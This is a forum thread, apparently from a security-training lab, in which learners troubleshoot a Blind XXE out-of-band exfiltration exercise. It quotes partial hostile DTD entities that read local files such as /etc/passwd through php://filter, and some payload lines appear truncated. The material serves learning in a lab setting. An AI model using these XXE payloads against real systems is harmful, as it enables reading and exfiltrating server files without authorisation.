Web Attacks - Blind XXE


I am playing around a bit with the Blind XXE exercise, trying to get an out-of-band exfiltration working using a method that is not specific to PHP-applications.

I came across the following approach:

1.) Hosting a malicous XXE.dtd on my attack machine with the following declarations:

<!ENTITY % file SYSTEM "file:///flag.php">
<!ENTITY % c "<!ENTITY bbb  SYSTEM ';'>">

2.) Then starting a python HTTP server on my attack box and inserting the XML-payload into the burp-request:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email 
[<!ENTITY % xxe SYSTEM ""> 

However, I keep only receiving the first HTTP-request, the second request with parameter x is consistently missing: - - [15/Apr/2022 23:14:47] "GET /xxe.dtd HTTP/1.0" 200 -

Any ideas what is wrong with my approach?

Many thanks!

Hey I was reading through your post and I see an issue here:

You don’t have a parameter called x defined. If you look in the example given in the Blind XXE section, they use the variable content in their attack because it corresponds to the one they defined in their php file. So when the target server queries your server for the variable x it doesn’t find anything because it doesn’t exist.

Hope this helps a bit. Let me know if you get it to work.


It was my intention to deliberately diverge from the PHP-payload used in this module, in order to perform a generic attack which I could use whenever I encounter a non-PHP webserver.

Parameter x is used as an arbitrary HTTP-GET parameter, no variable is referenced at this point!
I followed the instructions outlined in this blog post, see “Out of band attacks”:


Also a second article on that topic:


I did read that you wanted to deviate from using PHP, but I thought you were following the notes from the section sorry! I am not sure that this machine is vulnerable to the methods they are talking about, if you do find a way, definitely post it. I would be interested to see how you got it.

I took a look at these notes and I recognize the links and resources they are referencing. They are notes based on BurpSuite’s Academy: All Web Security Academy topics | Web Security Academy - PortSwigger

They have a topic on XXE and a section on out of band attacks. Take a look at their material, it might help you out. What is a blind XXE attack? Tutorial & Examples | Web Security Academy

***Edit: I know they are technically a competitor, but the BurpSuite Academy is free and also has some pretty cool labs. However, I think the HTB content is more detailed and higher quality.

Yes, I will keep on trying using the different payload variants listed in these articles. Maybe I will still get it to work. I will let you know as soon as I found out how to use it on the HTB target box!

1 Like

I just got it to work without hosting a .php file. Try modifying your .dtd to use the same <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> style line in it, obviously replacing the file with the name of the flag they give you in the question.

The only draw back to no using their php file would be the fact that you need to copy and paste the base64 code sent to you. You probably already know how, but just use echo -n "base64-flag" | base64 -d

Everything else should be fine.

Cool, many thanks for pursuing this further!
As of now, I still didn’t get the method outlined in the external sources running on the HTB machine. Some configuration seems to prevent using that approach.
Please correct me if I am wrong: <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> would still be a function that is specific to a .PHP-environment and that you would not find on, let’s say a node.js server?
In fact, I was doing a similar approach during the exercise, by just copy and pasting the GET-request from a python server…

It’s doable with a python server (I did both a php and a python one), but for me only php://filter worked (did get the flag with that one).

I tried file:///flag_name.php but I think that breaks the XML output and it crashes before making the request with the file contents.

We’d probably have to do something like CDATA for that to work. Probably doable!

Just completed the task… webserver get in DoS state due to multiple attempts that has taken time …